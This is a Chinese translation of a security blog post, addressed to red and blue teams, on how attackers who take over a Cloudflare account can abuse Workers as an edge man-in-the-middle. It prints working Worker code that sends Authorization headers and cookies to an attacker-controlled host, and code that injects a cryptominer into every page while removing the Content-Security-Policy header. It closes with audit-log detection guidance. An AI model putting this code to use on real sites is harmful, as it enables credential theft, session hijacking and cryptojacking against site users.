滥用Cloudflare Workers：边缘中间人攻击与数据窃取技术解析

本文详细探讨了攻击者如何通过滥用Cloudflare Workers实现中间人攻击，窃取授权令牌、Cookie，并注入恶意JavaScript代码。文章提供了具体的技术实现代码和检测方法，强调了保护Cloudflare账户安全的重要性。

MitM at the Edge: Abusing Cloudflare Workers

Cloudflare Workers 提供了一个强大的无服务器解决方案，用于在每次 HTTP 请求和响应之间运行代码。在本文中，我们将看到攻击者在入侵 Cloudflare 账户后如何滥用 Workers 来建立持久性并窃取敏感数据。

我们在此讨论的技术已在野外使用，但大多未被察觉。红队人员，请继续阅读以了解 Cloudflare Workers 的进攻性用途。蓝队人员，请继续阅读以了解为什么保护对 Cloudflare 账户的访问如此关键。

引言

需要明确的是：这不是 Cloudflare 或 Cloudflare Workers 中的漏洞。Cloudflare 不应该（甚至不能）做任何事情。本文探讨了利用 Cloudflare Workers 进行进攻性用途的方法，这些方法正是由 Workers 的设计以及更广泛的“边缘无服务器计算”模型所实现的。

包含本文讨论的所有代码的配套 GitHub 仓库可在 https://github.com/christophetd/abusing-cloudflare-workers 找到。

Cloudflare Workers

Cloudflare Workers 允许部署在 Cloudflare 边缘服务器上透明运行的无服务器代码，位于客户端和您的最终目标（“源站”）之间。它支持多种语言，如 JavaScript / TypeScript 或 Python。

Cloudflare Workers 对于以编程方式重写请求和响应非常有价值，例如：

  • 如果您的网站不可用或正在部署中，将用户重定向到维护页面。
  • 在 HTML 响应中动态重写链接；例如，如果我将 blog.christophetd.fr 移动到 christophetd.fr/blog/ 并希望确保没有死链接。
  • 在 REST API 响应中动态添加常见的安全头。
  • 在边缘阻止使用旧 TLS 版本的请求，并显示一个网页要求用户使用更新的浏览器。

它们的使用相对简单。以下示例自动将来自 /docs/latest 的 HTTP 请求重定向到 /docs/v2.4：

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addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, originalRequest) {
  // Parse the request URL
  const requestUrl = new URL(originalRequest.url);

  if (requestUrl.pathname.startsWith("/docs/latest/")) {
    // Redirect /docs/latest/ to /api/v2.4/
    newUrl = originalRequest.url.replace("/docs/latest/", "/docs/v2.4/");
    return Response.redirect(newUrl, 301);
  }
  else {
    // Do nothing, just forward the original request
    return fetch(originalRequest)
  }
}

如您所见，Cloudflare Workers 通过设计提供了一种以编程方式透明读取或重写 HTTP 请求和响应的方式。在下一节中，我们将看到攻击者在入侵 Cloudflare 账户后如何滥用它。

滥用 Cloudflare Workers

让我们站在攻击者的角度，假设他们刚刚入侵了一个 Cloudflare 账户。首先，Cloudflare 仅向其企业客户提供仪表板单点登录（SSO），因此可以合理地预期，在其 15.4 万+客户（不包括免费账户）中，有数千个账户使用了共享的、长期有效的密码。此外，过去也有关于 Cloudflare 漏洞被用于窃取 API 密钥的报告（这里 和 这里）。最后，Cloudflare API 密钥是静态的、长期有效的凭据，很容易被意外泄露。

回到我们的攻击者——我们首先看到的是受害者通过 Cloudflare 代理的网站：

通常情况下，Cloudflare 被设置为将传入 somewhereinthe.cloud 的请求代理到第三方源站：

有了这个场景，让我们深入探讨我们作为攻击者如何利用 Cloudflare Workers 来实现我们的目标！

创建恶意的 Cloudflare Worker

我们首先创建一个普通的 Worker，目前除了位于 HTTP 请求和响应之间之外，不会做任何事情。

worker.js

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addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, request) {
    // Proxy the request
    return fetch(request);
}

wrangler.toml

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name = "my-malicious-worker"
compatibility_date = "2022-06-24"

然后，我们使用 Cloudflare wrangler CLI 将其部署到 Cloudflare：

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$ wrangler publish worker.js
 wrangler 2.0.15
--------------------
Total Upload: 0.51 KiB / gzip: 0.29 KiB
Uploaded my-malicious-worker (2.11 sec)
Published my-malicious-worker (1.73 sec)
  my-malicious-worker.christophetd.workers.dev

我们的 Worker 现已部署，但尚未代理流量。为此，我们将其与目标区域的 DNS 条目关联，或添加“路由”触发器。

通过新的 DNS 记录触发 Cloudflare Worker

通过路由模式触发 Cloudflare Worker

或者，我们可以使用 Cloudflare API：

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curl -X POST "https://api.cloudflare.com/client/v4/zones/<zone-id>/workers/routes" \
     -H "X-Auth-Email: $CF_EMAIL" \
     -H "X-Auth-Key: $CF_API_KEY" \
     -H "Content-Type: application/json" \
     --data '{"pattern":"*somewhereinthe.cloud/*","script":"my-malicious-worker"}'

现在我们有了“中间人 Worker”，让我们看看一些对攻击者来说有价值的用例。

窃取授权令牌

客户端发送的 Authorization HTTP 头通常包含凭据，如 OAuth 令牌、JWT 或 API 密钥。当 HTTP 请求中设置了 Authorization 头时，让我们窃取它并将其发送到攻击者控制的远程服务器。

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async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  return fetch(request);
}

async function stealAuthorizationHeader(request) {
  const authz = request.headers.get("Authorization")
  if (authz) {
    await log(`authorization header: ${authz}`)
  }
}

async function log(data) {
  // Send arbitrary data to a remote, attacker-controlled server
  await fetch("http://46.101.191.103.nip.io/log/" + btoa(data));
}

在第一个包含 Authorization 头的 HTTP 请求上，攻击者控制的服务器将收到：

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authorization header: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiUmljayBBc3RsZXkiLCJnaXZlc1lvdVVwIjpmYWxzZSwibGV0c1lvdURvd24iOmZhbHNlLCJ0ZWxsc0xpZXMiOmZhbHNlfQ

Cookie 也非常有价值，因为它们通常是会话标识符，可用于欺骗任何用户的身份。它们最初由服务器设置（HTTP 响应中的 Set-Cookie 头），然后由客户端发送回来（HTTP 响应中的 Cookie 头）。让我们窃取两者：

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async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  response = await fetch(request);
  await stealCookies(request, response);
  return response;
}

async function stealCookies(request, response) {
  cookies = response.headers.get("Set-Cookie")
  if (cookies) {
    await log(`cookies sent by server: ${cookies}`);
  }

  cookies = request.headers.get("Cookie")
  if (cookies) {
    await log(`cookies sent by client: ${cookies}`);
  }
}

攻击者输出示例：

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cookies sent by server: sessionId=3f0cff1d3cc4642e15835d7304d453cc; Max-Age=2592000; Secure; Path=/; Domain=somewhereinthe.cloud
cookies sent by client: cf_use_ob=0; sessionId=3f0cff1d3cc4642e15835d7304d453cc

注入恶意 JavaScript 代码

窃取敏感数据很好，但在网站提供的每个页面中注入一个挖矿程序怎么样？

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async function injectMaliciousScript(originalResponse) {
  // Only inject our script in HTML responses
  if (!originalResponse.headers.get("Content-Type").includes("html")) {
    return originalResponse;
  }

  originalHtml = await originalResponse.text();
  // Malicious script to inject
  const script = `
    <script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>
    <script>
      server = "wss://f.xmrminingproxy.com:8181";
      var pool = "moneroocean.stream";
      var walletAddress = "PUT YOUR WALLET ADDRESS HERE";
      var workerId = ""
      var threads = -1;
      var password = "x";
      startMining(pool, walletAddress, workerId, threads, password);
      throttleMiner = 20;
    </script>
  `
  modifiedHtml = originalHtml.replace("</body>", script + "</body>")
  modifiedResponse = new Response(modifiedHtml, originalResponse)
  return modifiedResponse
}

如果受害者网站有一个坚实的内容安全策略（CSP）阻止内联或不受信任的脚本怎么办？我们是中间人，所以我们可以简单地删除 Content-Security-Policy 头！

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async function injectMaliciousScript(originalResponse) {
  // ...
  modifiedResponse = new Response(modifiedHtml, originalResponse)

  // Get rid of any annoying content security policy that would block our script
  if (modifiedResponse.headers.get("Content-Security-Policy")) {
    modifiedResponse.headers.delete("Content-Security-Policy")
  }

  return modifiedResponse
}

插图：在所有响应中透明注入的恶意 JavaScript 负载

其他滥用潜力

  • 选择性目标：根据客户端 IP 或平台表现不同。例如，如果用户代理与搜索引擎匹配，则不注入任何恶意内容。
  • 钓鱼：透明地代理请求到合法网站，动态重写响应链接并窃取凭据（包括 2FA 令牌）。
  • 重写支付信息：等待响应中看起来像 IBAN 或加密货币地址的内容，并将其替换为攻击者拥有的地址。

野外记录的用途

攻击者滥用 Cloudflare Workers 动态重写 HTTP 响应的情况在两个真实事件中有记录。

2021 年 12 月，攻击者入侵了 Badger 的 Cloudflare API 密钥。然后，引用 Badger 自己的事后分析：

在 11 月 10 日，攻击者开始使用其 API 访问权限通过 Cloudflare Workers 将恶意脚本注入到 app.badger.com 的 HTML 中。该脚本拦截 web3 交易，并提示用户允许一个外部地址操作其钱包中的 ERC-20 令牌。

2020 年，Sucuri 报告称，韩国攻击者使用 Cloudflare Worker 在请求者是搜索引擎时动态向网页添加链接。目的是执行 SEO 垃圾邮件并提高第三方网站的声誉。

野外发现的恶意 Cloudflare Worker，由 Sucuri 发现（图片来源）

检测 Cloudflare 账户中的恶意活动

Cloudflare 提供其控制平面的审计日志，允许识别可疑活动。当创建新的 Worker 时，它会生成一个类型为 script_create 的事件。

当有人将 Worker 绑定到路由（route_create）或创建指向 Worker 的 DNS 记录（rec_add）时，它也会生成事件。

更一般地说，Cloudflare 提供了几种事件类型，可用于检测潜在的恶意活动，总结在下表中。您还可以在配套的 GitHub 仓库中找到示例事件日志。

事件 事件代码
创建了新的 Worker script_create
Worker 被绑定到路由 route_create
创建了 DNS 记录 rec_add
用户 API 令牌被创建（和查看） token_create
用户 API 令牌被轮换（和查看） token_roll
账户范围的 API 令牌被查看 API_key_view
成功认证到 Cloudflare 仪表板 login

如果您有 Cloudflare Enterprise 计划（来源），您可以使用各种集成将这些审计日志发送到您选择的 SIEM 或日志管理平台。否则，您可以从仪表板和 API 查看这些日志。

攻击者滥用 Cloudflare Workers 的其他方式

攻击者多年来也一直在滥用 Cloudflare Workers 作为分层命令和控制（C2）基础设施的代理，或作为托管钓鱼页面的简单方式。

恶意软件：Cloudfall、Blackwater、Astaroth

攻击者组织：APT41、SparkingGoblin

钓鱼：Microsoft、Yahoo、UPS、Adobe、Paypal、AT&T、…

结论

攻击者将继续利用 Cloudflare Workers 实现恶意目标，正如他们在过去几年中对钓鱼和 C2 基础设施所做的那样。他们可能会更频繁地使用 Workers 的核心功能来注入恶意 JavaScript 负载并窃取敏感数据。与此同时，蓝队有望确保其 Cloudflare 账户得到适当保护并监控可疑活动。

感谢阅读，让我们在 Twitter 上继续讨论！

Christophe

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